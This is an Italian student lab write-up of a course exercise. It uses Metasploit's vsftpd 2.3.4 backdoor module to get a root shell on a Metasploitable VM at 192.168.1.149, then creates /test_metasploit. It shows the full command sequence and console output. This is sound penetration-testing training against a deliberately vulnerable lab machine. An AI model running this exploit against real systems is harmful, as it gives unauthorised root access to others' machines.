

# Hacking con Metasploit

MORGAN PETRELLI S7/L1



# Traccia:

**Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).**

**L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24.**

**Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.**

**Metasploit Framework** è uno dei più popolari e potenti strumenti open-source per la sicurezza informatica e il penetration testing grazie alla sua vasta gamma di moduli, exploit e payloads.

il comando **msfconsole** serve per avviarlo.

```
msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccc.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffffffff
ffffffff.....
ffffffffffffffffffffffffffff
ffffffff.....
ffffffff.....
ffffffff.....

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

      =[ metasploit v6.4.5-dev                               ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post           ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops              ]
+ -- --=[ 9 evasion                                           ]

Metasploit Documentation: https://docs.metasploit.com/
```

una volta avviato, con il comando **search vsftpd** ho cercato tutti i moduli compatibili con il servizio ftp. Una volta trovato il modulo appropriato ho usato use “percorso dell’exploit”. una volta caricato l’exploit ho usato il comando **show options** per vedere che parametri servissero per utilizzare l’exploit, nel nostro caso serve configurare solo RHOSTS perché RPORT è configurata di default la porta 21 che è quella comunemente associata al protocollo ftp.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies     Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
```

con il comando **set RHOSTS** ho configurato l'indirizzo ip target che sarà 192.168.1.149 come ci chiede la traccia dell'esercizio ho rifatto **show options** per assicurarmi che si sia impostato il targhet. Scrivendo **show payloads** ho visto i payload disponibili per questo tipo di exploit ( in questo caso è solo uno quindi basta lanciare l'attacco e il payload andrà di default ).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CPORT            no        The local client address
  CPORT      Proxies           no        The local client port
  Proxies    RHOSTS           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

  #  Name                                     Disclosure Date  Rank  Check  Description
  --  --
  0  payload/cmd/unix/interact .                normal  No     Unix Command, Interact with Established Connection
```



una volta settato tutto, con il comando **exploit** ho lanciato l'attacco che ha sfruttato la vulnerabilità per connettermi alla macchina metasploitable. Per verificare di essermi effettivamente collegato ho lanciato il comando **ifconfig** che mi ha mostrato l'ip di metasploitable: questo mi fa capire che sto controllando la macchina targhet. Una volta sicuro di essere collegato ho creato una cartella chiamandola test\_metasploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.148:39091 → 192.168.1.149:6200) at 2024-05-20 12:43:28 +0200

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ac:eb:8f
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feac:eb8f/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1747 (1.7 KB)  TX bytes:10281 (10.0 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:97 errors:0 dropped:0 overruns:0 frame:0
          TX packets:97 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:39021 (38.1 KB)  TX bytes:39021 (38.1 KB)

mkdir /test_metasploit
```

```
root@metasploitable:~# ls
a      dev      initrd.img  mnt      root     sys      var
bin    etc      lib         nohup.out sbin     test_metasploit  vmlinuz
boot   home     lost+found  opt      SM1      tmp
cdrom  initrd   media       proc     srv      usr
root@metasploitable:~#
```